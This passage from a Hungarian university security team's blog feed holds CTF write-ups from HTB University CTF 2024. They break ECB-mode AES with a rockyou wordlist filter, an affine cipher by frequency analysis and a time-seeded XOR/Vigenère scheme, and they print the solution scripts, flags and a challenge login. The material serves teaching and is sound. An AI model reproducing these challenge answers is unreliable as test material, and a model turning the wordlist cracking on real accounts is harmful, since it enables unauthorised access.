</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">assert</span> <span style="color:#fff;font-weight:bold">all</span>(k in string.ascii_letters + string.digits <span style="color:#fff;font-weight:bold">for</span> k in pwd)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pwd = pwd.encode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">if</span> <span style="color:#fff;font-weight:bold">len</span>(pwd) not in [<span style="color:#ff0;font-weight:bold">16</span>, <span style="color:#ff0;font-weight:bold">24</span>, <span style="color:#ff0;font-weight:bold">32</span>]:
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">raise</span> ValueError(<span style="color:#0ff;font-weight:bold">&#34;Invalid AES key length. Key must be 16, 24, or 32 bytes long.&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;message.txt&#39;</span>, <span style="color:#0ff;font-weight:bold">&#39;r&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> message_file:
</span></span><span style="display:flex;"><span>    message = message_file.read().strip()  
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>words = message.split()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ciphertext = <span style="color:#0ff;font-weight:bold">b</span><span style="color:#0ff;font-weight:bold">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>cipher = AES.new(pwd, AES.MODE_ECB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> word in words:
</span></span><span style="display:flex;"><span>    word_padded = pad(word.encode(), AES.block_size)
</span></span><span style="display:flex;"><span>    encrypted_word = cipher.encrypt(word_padded)
</span></span><span style="display:flex;"><span>    ciphertext += encrypted_word
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;encrypted_message.aes&#39;</span>, <span style="color:#0ff;font-weight:bold">&#39;wb&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> file:
</span></span><span style="display:flex;"><span>    file.write(ciphertext)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#34;Encryption complete. Ciphertext saved to &#39;encrypted_message.aes&#39;.&#34;</span>)
</span></span></code></pre></div><h2 id="magyarázat">Magyarázat</h2>
<p>A <code>encrypted_message.aes</code> fájl tartalmát a <code>generator.py</code> fájl hozta létre. A program egy <code>password.txt</code> fájlból beolvas egy jelszót, amiről kiderül, hogy csak (angol) alfanumerikus karaktereket tartalmaz és 16, 24 vagy 32 karakter hosszú. Beolvas ezen kívül egy <code>message.txt</code> fájlt is, amit szavanként feldarabol, és a jelszóval eltitkosítja AES-ECB titkosítással, majd a titkos blokkokat kiírja egy fájlba.<br>
Tudni kell az AES-ről, hogy 16 bájt hosszúságú blokkokat fogad, és ugyan ilyen hosszú blokkokat ad vissza. Amikor a titkosítandó adat mérete nem pontosan osztható 16 bájtal, ki kell egészíteni. Ezt teszi a <code>pad</code> függvény.
Az érdekesség, hogy a program az AES-t ECB módban használja, aminek egy nagy veszélye, hogy nem tesz entrópiát a titkosítandó adatba, azaz módosítás nélkül titkosít el minden blokkot. Ezzel az a baj, hogy az azonos blokkok mindig azonos eredményt adnak.</p>
<h2 id="cél">Cél</h2>
<p>A zipben lévő üzenetet kell kititkosítani, abból pedig kiderül, mivel kell belépni az oldalra.</p>
<h2 id="megoldás">Megoldás</h2>
<p>Ha kiszámoljuk a lehetséges jelszavak számát:</p>
<pre tabindex="0"><code>&gt;&gt;&gt; 16**62 + 24**62 + 32**62
2085924877185928105442759926841284955304321885717825681976502561860327976404420042599490912256
</code></pre><p>kiderül, hogy nem lenne értelme elkezdeni bruteforceolni. Jobb ötlet, ha megnézünk inkább egy jelszólistát, hátha benne van. Ilyen például a <code>rockyou.txt</code>, amiből kigyűjtjük a megfelelő jelszavakat: <code>grep -E '^[a-zA-Z0-9]{16}$|^[a-zA-Z0-9]{24}$|^[a-zA-Z0-9]{32}$' rockyou.txt &gt; passwords.txt</code>.
Ha feldaraboljuk a fájl tartalmát 16 bájtonként, feltűnik, hogy a <code>8332988eb6fafe7212c52c0ec20495b6</code> blokk 7-szer, míg a <code>c151fc2e0b9cec7d36616c458029a99e</code> blokk 6-szor fordul elő. Azt tudjuk, hogy minden blokk egy szót jelöl (ha kisseb mint 16 karakter). Az angolban a két leggyakoribb szó a <code>the</code> és a <code>be</code>. Próbáljuk meg ezeket dekriptálni a kigyűjtött jelszavakkal, például a következő programmal:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> Crypto.Cipher <span style="color:#fff;font-weight:bold">import</span> AES
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> Crypto.Util.Padding <span style="color:#fff;font-weight:bold">import</span> unpad
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;passwords.txt&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> pw_file:
</span></span><span style="display:flex;"><span>    pws = pw_file.read().splitlines()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>encrypted_block1 = <span style="color:#fff;font-weight:bold">bytes</span>.fromhex(<span style="color:#0ff;font-weight:bold">&#34;c151fc2e0b9cec7d36616c458029a99e&#34;</span>)
</span></span><span style="display:flex;"><span>encrypted_block2 = <span style="color:#fff;font-weight:bold">bytes</span>.fromhex(<span style="color:#0ff;font-weight:bold">&#34;8332988eb6fafe7212c52c0ec20495b6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> pw in pws:
</span></span><span style="display:flex;"><span>    pw = pw.encode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    cipher = AES.new(pw, AES.MODE_ECB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    decrypted_block1 = cipher.decrypt(encrypted_block1)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">try</span>:
</span></span><span style="display:flex;"><span>        unpadded_text1 = unpad(decrypted_block1, AES.block_size)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">except</span> ValueError:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">continue</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">print</span>(pw, unpadded_text1)
</span></span><span style="display:flex;"><span>        text1 = unpadded_text1.decode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    decrypted_block2 = cipher.decrypt(encrypted_block2)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">try</span>:
</span></span><span style="display:flex;"><span>        unpadded_text2 = unpad(decrypted_block2, AES.block_size)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">except</span> ValueError:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">continue</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">print</span>(pw, unpadded_text2)
</span></span><span style="display:flex;"><span>        text2 = unpadded_text2.decode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#007f7f">#ha a két halmaznak van közös eleme</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">if</span> {<span style="color:#0ff;font-weight:bold">&#34;the&#34;</span>, <span style="color:#0ff;font-weight:bold">&#34;be&#34;</span>} &amp; {text1.lower(), text2.lower()}:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">print</span>(pw)
</span></span></code></pre></div><p>Kiderül, hogy rögtön a 6. jelszó megfelelő: <code>avengedsevenfold</code>.
Már csak vissza kell titkosítani az egészet. Egy egyszerű megoldás, ha feltöltjük a fájlt <a href="https://cyberchef.org/">Cyberchefre</a>, mivel itt is van AES titkosító.
A Cyberchef ugyan nem unpaddol minden egyes blokkot, csupán az egész üzenetet egyben, de a lényeg így is látszik belőle: a flag első fele <code>HTB{Br3@k_Th3</code>, valamint a belépési adatok <code>Username: Hacktheboxadmin Password: G7!xR9$sT@2mL^bW4&amp;uV</code></p>
<h1 id="2-rész">2. rész</h1>
<h2 id="forrás-1">Forrás</h2>
<p>Az oldalra belépve egy chat beszélgetést látunk, amiben két fájl is fel lett töltve: <a href="/writeups/resources/crypto_cryptospiracy_theory/encrypted.txt">encrypted.txt</a> és <a href="/writeups/resources/crypto_cryptospiracy_theory/encryptor.py">encryptor.py</a></p>
<p>A Python fájl tartalma:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> math <span style="color:#fff;font-weight:bold">import</span> gcd
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> random
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> encrypt(a, b):
</span></span><span style="display:flex;"><span>    ct = []
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> ch in msg:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">if</span> ch.isalpha():
</span></span><span style="display:flex;"><span>            encrypted_char = <span style="color:#fff;font-weight:bold">chr</span>(((a * (<span style="color:#fff;font-weight:bold">ord</span>(ch) - <span style="color:#ff0;font-weight:bold">65</span> - b)) % <span style="color:#ff0;font-weight:bold">26</span>) + <span style="color:#ff0;font-weight:bold">65</span>)
</span></span><span style="display:flex;"><span>            ct.append(encrypted_char)
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">else</span> :
</span></span><span style="display:flex;"><span>            ct.append(ch)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> <span style="color:#0ff;font-weight:bold">&#39;&#39;</span>.join(ct)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msg = <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;secret_message.txt&#39;</span>).read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">while</span> <span style="color:#fff;font-weight:bold">True</span>:
</span></span><span style="display:flex;"><span>    a = random.randint(<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">26</span>)
</span></span><span style="display:flex;"><span>    b = random.randint(<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">26</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">if</span> gcd(a, <span style="color:#ff0;font-weight:bold">26</span>) == <span style="color:#ff0;font-weight:bold">1</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;encrypted.txt&#39;</span>, <span style="color:#0ff;font-weight:bold">&#39;w&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> f:
</span></span><span style="display:flex;"><span>    f.write(encrypt(a,b))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#34;Encrypted message saved to encrypted.txt&#34;</span>)
</span></span></code></pre></div><h2 id="magyarázat-1">Magyarázat</h2>
<p>A program egy úgynevezett <a href="https://hu.wikipedia.org/wiki/Affin_rejtjel">affin titkosítást</a> használ. Ahol a titkosítás menete: \(E_{a,b}(x) = a \cdot x + b ~ mod ~ m\), a kititkosításé: \(D_{a,b}(y) = a^{-1} (a - b) ~ mod ~ m\), ahol \(a, b\) a kulcs, \(m\) pedig az ábécé mérete, itt \(m = 26\). Ehez véletlenszerűen generált kulcsot használ. Így titkosítja a <code>secret_message.txt</code> tartalmát az <code>encrypted.txt</code> fájlba (amit szintén megkaptunk). Ennek a titkosításnak nagy hátránya, hogy egy betűt eltitkosítva mindig ugyan azt az eredményt adja. Ezért frekvencia analízissel (a számok előfordulási arányát megállapítva) lehet egy jó tippünk a gyakori betűk titkosított megfelelőjére, amiből ki lehet számítani a kulcs értékeit.</p>
<h2 id="cél-1">Cél</h2>
<p>Meghatározni a titkosításhoz használt kulcsot és kititkosítani a kapott fájlt.</p>
<h2 id="megoldás-1">Megoldás</h2>
<p>A titkos üzenetben előforduló leggyakoribb betű a <code>D</code> (3.), valószínűleg ez rejti az <code>E</code> (4.) betűt. Ezt beírva a képletbe: \(3 = a \cdot 4 + b ~ mod ~ 26\). Tudjuk, hogy \(a\) és \(b\) is \([1,26]\) tartományban vannak, valamint \(gcd(a, 26) = 1\) (relatív prímek). Ezek alapján a 676 kulcsot leszűkíthetjük a következő 12 kulcsra: (1 25), (3 17), (5 9), (7 1), (9 19), (11 11), (15 21), (17 13), (19 5), (21 23), (23 15), (25 7). Lehetne a második leggyakoribb karakterre is kiszámítani, amivel tovább szűkülnének a lehetséges kulcsok számai, de ez is megfelelően kevés. A kulcsokat próbálgatva a (7, 1) kulcsra egy értelmes szöveg áll elő, benne a keresett flag második részével: <code>_BL0CK_P@TT3RN}</code>
Íme a program, ami visszatitkosítja az üzenetet (vagy használható a <a href="https://cyberchef.org/#recipe=Affine_Cipher_Decode(7,1)">Cyberchef</a> is):</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> math <span style="color:#fff;font-weight:bold">import</span> gcd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> decrypt(a, b):
</span></span><span style="display:flex;"><span>    a_inv = <span style="color:#fff;font-weight:bold">pow</span>(a, -<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">26</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    ct = []
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> ch in msg:
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">if</span> ch.isalpha():
</span></span><span style="display:flex;"><span>            encrypted_char = <span style="color:#fff;font-weight:bold">chr</span>(((a_inv * (<span style="color:#fff;font-weight:bold">ord</span>(ch) - <span style="color:#ff0;font-weight:bold">65</span> - b)) % <span style="color:#ff0;font-weight:bold">26</span>) + <span style="color:#ff0;font-weight:bold">65</span>)
</span></span><span style="display:flex;"><span>            ct.append(encrypted_char)
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">else</span> :
</span></span><span style="display:flex;"><span>            ct.append(ch)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> <span style="color:#0ff;font-weight:bold">&#39;&#39;</span>.join(ct)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msg = <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;encrypted.txt&#39;</span>).read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key= (<span style="color:#ff0;font-weight:bold">7</span>, <span style="color:#ff0;font-weight:bold">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;secret_message.txt&#39;</span>, <span style="color:#0ff;font-weight:bold">&#39;w&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> f:
</span></span><span style="display:flex;"><span>    f.write(decrypt(*key))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">print</span>(<span style="color:#0ff;font-weight:bold">&#34;Decrypted message saved to secret_message.txt&#34;</span>)
</span></span></code></pre></div>]]></content>
        </item>
        
        <item>
            <title>Multlock</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/12/multlock/</link>
            <pubDate>Fri, 27 Dec 2024 00:00:00 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/12/multlock/</guid>
            <description>Writeup a HTB University CTF 2024: Binary Badlands feladatához</description>
            <content type="html"><![CDATA[<h2 id="forrás">Forrás</h2>
<p>A feladathoz egy <a href="/writeups/resources/crypto_multlock/crypto_multlock.zip">zip fájl</a> van megadva, benne egy <code>source.py</code> és egy <code>output.txt</code> fájl.</p>
<p>A python fájl tartalma:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> random
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> base64
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">import</span> time
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">from</span> secret <span style="color:#fff;font-weight:bold">import</span> FLAG
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> generate_key(seed, length=<span style="color:#ff0;font-weight:bold">16</span>):
</span></span><span style="display:flex;"><span>    random.seed(seed)
</span></span><span style="display:flex;"><span>    key = <span style="color:#0ff;font-weight:bold">&#39;&#39;</span>.join(random.choice(string.ascii_letters + string.digits) <span style="color:#fff;font-weight:bold">for</span> _ in <span style="color:#fff;font-weight:bold">range</span>(length))
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> key
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> polyalphabetic_encrypt(plaintext, key):
</span></span><span style="display:flex;"><span>    key_length = <span style="color:#fff;font-weight:bold">len</span>(key)
</span></span><span style="display:flex;"><span>    ciphertext = []
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> i, char in <span style="color:#fff;font-weight:bold">enumerate</span>(plaintext):
</span></span><span style="display:flex;"><span>        key_char = key[i % key_length]
</span></span><span style="display:flex;"><span>        encrypted_char = <span style="color:#fff;font-weight:bold">chr</span>((<span style="color:#fff;font-weight:bold">ord</span>(char) + <span style="color:#fff;font-weight:bold">ord</span>(key_char)) % <span style="color:#ff0;font-weight:bold">256</span>)
</span></span><span style="display:flex;"><span>        ciphertext.append(encrypted_char)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> base64.b64encode(<span style="color:#0ff;font-weight:bold">&#39;&#39;</span>.join(ciphertext).encode()).decode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> xor_cipher(text, key):
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">bytes</span>([<span style="color:#fff;font-weight:bold">ord</span>(c) ^ key <span style="color:#fff;font-weight:bold">for</span> c in text])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> get_timestamp_based_keys():
</span></span><span style="display:flex;"><span>    timestamp = <span style="color:#fff;font-weight:bold">int</span>(time.time())
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">if</span> timestamp % <span style="color:#ff0;font-weight:bold">2</span> == <span style="color:#ff0;font-weight:bold">0</span>:
</span></span><span style="display:flex;"><span>        key_seed = random.randint(<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">1000</span>)
</span></span><span style="display:flex;"><span>        xor_key = <span style="color:#ff0;font-weight:bold">42</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        key_seed = <span style="color:#ff0;font-weight:bold">42</span>
</span></span><span style="display:flex;"><span>        xor_key = random.randint(<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">255</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> key_seed, xor_key
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> main():
</span></span><span style="display:flex;"><span>    <span style="color:#007f7f"># Split the flag</span>
</span></span><span style="display:flex;"><span>    flag_half1 = FLAG[:<span style="color:#fff;font-weight:bold">len</span>(FLAG)//<span style="color:#ff0;font-weight:bold">2</span>]
</span></span><span style="display:flex;"><span>    flag_half2 = FLAG[<span style="color:#fff;font-weight:bold">len</span>(FLAG)//<span style="color:#ff0;font-weight:bold">2</span>:]
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    encrypted_flags = []
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> _ in <span style="color:#fff;font-weight:bold">range</span>(<span style="color:#ff0;font-weight:bold">2</span>):
</span></span><span style="display:flex;"><span>        key_seed, xor_key = get_timestamp_based_keys()
</span></span><span style="display:flex;"><span>        key = generate_key(key_seed)
</span></span><span style="display:flex;"><span>        encrypted_half = polyalphabetic_encrypt(flag_half1 <span style="color:#fff;font-weight:bold">if</span> <span style="color:#fff;font-weight:bold">len</span>(encrypted_flags) == <span style="color:#ff0;font-weight:bold">0</span> <span style="color:#fff;font-weight:bold">else</span> flag_half2, key)
</span></span><span style="display:flex;"><span>        encrypted_half = xor_cipher(encrypted_half, xor_key)
</span></span><span style="display:flex;"><span>        encrypted_flags.append(encrypted_half.hex())
</span></span><span style="display:flex;"><span>        time.sleep(<span style="color:#ff0;font-weight:bold">1</span>)
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#007f7f"># Save encrypted flags to output.txt</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">with</span> <span style="color:#fff;font-weight:bold">open</span>(<span style="color:#0ff;font-weight:bold">&#39;output.txt&#39;</span>, <span style="color:#0ff;font-weight:bold">&#39;w&#39;</span>) <span style="color:#fff;font-weight:bold">as</span> f:
</span></span><span style="display:flex;"><span>        f.write(<span style="color:#0ff;font-weight:bold">f</span><span style="color:#0ff;font-weight:bold">&#34;</span><span style="color:#0ff;font-weight:bold">{</span>encrypted_flags[<span style="color:#ff0;font-weight:bold">0</span>]<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">\n</span><span style="color:#0ff;font-weight:bold">{</span>encrypted_flags[<span style="color:#ff0;font-weight:bold">1</span>]<span style="color:#0ff;font-weight:bold">}</span><span style="color:#0ff;font-weight:bold">\n</span><span style="color:#0ff;font-weight:bold">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">if</span> __name__ == <span style="color:#0ff;font-weight:bold">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h2 id="magyarázat">Magyarázat</h2>
<p>A program fog egy flag értéket és kettészedi a felénél. Mindkét félhez külön kulcsokat generál, de azonos módon titkosítja őket. A részeket előbb egy <a href="https://hu.wikipedia.org/wiki/Vigen%C3%A8re-rejtjel">Vigenère-rejtjelhez</a> hasonló módszerrel titkosítja (itt az egész bájtot veszi, nem csak az ábécét), base64-el bekódolja, majd XOR-oz minden bájtot egy kulcs bájttal.
A kulcsok generálása időhöz van kötve. Páros másodpercnyi időben [1,1000] tartományból választ seedet a Vigenère kulcs generálásához (ami mindig 16 hosszú), az XOR bájt ilyenkor 42. Páratlan másodperc szám esetén a Vigenère kulcs generátor seedje lesz 42 és az XOR bájt véletlenszerű. Mindkét fél más paritású másodpercben titkosítódott le, mivel a titkosítások között vár 1 másodpercig.</p>
<h2 id="cél">Cél</h2>
<p>A titkosításhoz használt kulcsok kiszámítása és a flag visszaállítása.</p>
<h2 id="megoldás">Megoldás</h2>
<p>A kódolt flagrészeket beillesztve a <a href="https://cyberchef.org/#recipe=From_Hex('None')XOR(%7B'option':'Decimal','string':'42'%7D,'Standard',false)">Cyberchefbe</a> rá lehet jönni, hogy a 2. fél páros másodpercben titkosítódott, mivel a 42 XOR bájtra egy base64 szöveget ad vissza. Tehát az 1. fél páratlanban, míg a 2. párosban jött létre.
A <a href="https://cyberchef.org/#recipe=From_Hex('None')XOR_Brute_Force(1,100,0,'Standard',false,true,false,'')">Cyberchef</a> XOR bruteforce funkcióját használva kiderül, hogy az 1. fél XOR bájtja 119, mivel ez ad csak értelmes base64 kódot. Ez azt is jelenti, hogy a kulcs generálásához használt seed a 42-es szám. A generált kulcs pedig: <code>OhbVrpoiVgRV5IfL</code>.</p>
<p>A program által használt titkosítás inverze:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> polyalphabetic_decrypt(ciphertext: <span style="color:#fff;font-weight:bold">str</span>, key: <span style="color:#fff;font-weight:bold">str</span>) -&gt; <span style="color:#fff;font-weight:bold">str</span>:
</span></span><span style="display:flex;"><span>    ciphertext = base64.b64decode(ciphertext.encode()).decode()
</span></span><span style="display:flex;"><span>    key_length = <span style="color:#fff;font-weight:bold">len</span>(key)
</span></span><span style="display:flex;"><span>    plaintext = []
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> i, char in <span style="color:#fff;font-weight:bold">enumerate</span>(ciphertext):
</span></span><span style="display:flex;"><span>        key_char = key[i % key_length]
</span></span><span style="display:flex;"><span>        decrypted_char = <span style="color:#fff;font-weight:bold">chr</span>((<span style="color:#fff;font-weight:bold">ord</span>(char) - <span style="color:#fff;font-weight:bold">ord</span>(key_char)) % <span style="color:#ff0;font-weight:bold">256</span>)
</span></span><span style="display:flex;"><span>        plaintext.append(decrypted_char)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">return</span> <span style="color:#0ff;font-weight:bold">&#39;&#39;</span>.join(plaintext)
</span></span></code></pre></div><p>Az első fél visszafejtése a kulccsal:</p>
<pre tabindex="0"><code>&gt;&gt;&gt; polyalphabetic_decrypt(&#34;wpfCvMKkw5HDpsOZw5zDjsOJw5vCs8ODwqXCqMOIwq3DgsONw4bCtcOXw57DksObw4/Dl8OG&#34;, &#39;OhbVrpoiVgRV5IfL&#39;)
&#39;HTB{timestamp_based_encrypt&#39;
</code></pre><p>A 2. félnél már tudjuk, hogy 42-vel kell XOR-ozni. A seed megtalálásához pedig csak 1000 lehetőséget kell végigpróbálni, ami nem olyan sok.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">def</span> polyalphabetic_bruteforce(value: <span style="color:#fff;font-weight:bold">str</span>) -&gt; <span style="color:#fff;font-weight:bold">None</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> key_seed in <span style="color:#fff;font-weight:bold">range</span>(<span style="color:#ff0;font-weight:bold">1</span>, <span style="color:#ff0;font-weight:bold">1000</span>+<span style="color:#ff0;font-weight:bold">1</span>):
</span></span><span style="display:flex;"><span>        key = generate_key(key_seed)
</span></span><span style="display:flex;"><span>        plaintext = polyalphabetic_decrypt(value, key)
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">if</span> (plaintext[-<span style="color:#ff0;font-weight:bold">1</span>] == <span style="color:#0ff;font-weight:bold">&#39;}&#39;</span>):
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">print</span>(plaintext)
</span></span></code></pre></div><p>A néhány kijött eredmény között felbukkan egy értelmes szöveg is:</p>
<pre tabindex="0"><code>&gt;&gt;&gt; polyalphabetic_bruteforce(&#34;w5bDgcK0w4TDjMK5wq3DqsKjw5PCq8KdwrzDh8Oawq3DjMK7wqXDlcOVwrXCu8OgwqfDmcK1&#34;)
...
ion_is_so_secure_i_promise}
...
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Security In The Front</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/12/security-in-the-front/</link>
            <pubDate>Fri, 27 Dec 2024 00:00:00 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/12/security-in-the-front/</guid>
            <description>Writeup a HTB University CTF 2024: Binary Badlands feladatához</description>
            <content type="html"><![CDATA[<h2 id="forrás">Forrás</h2>
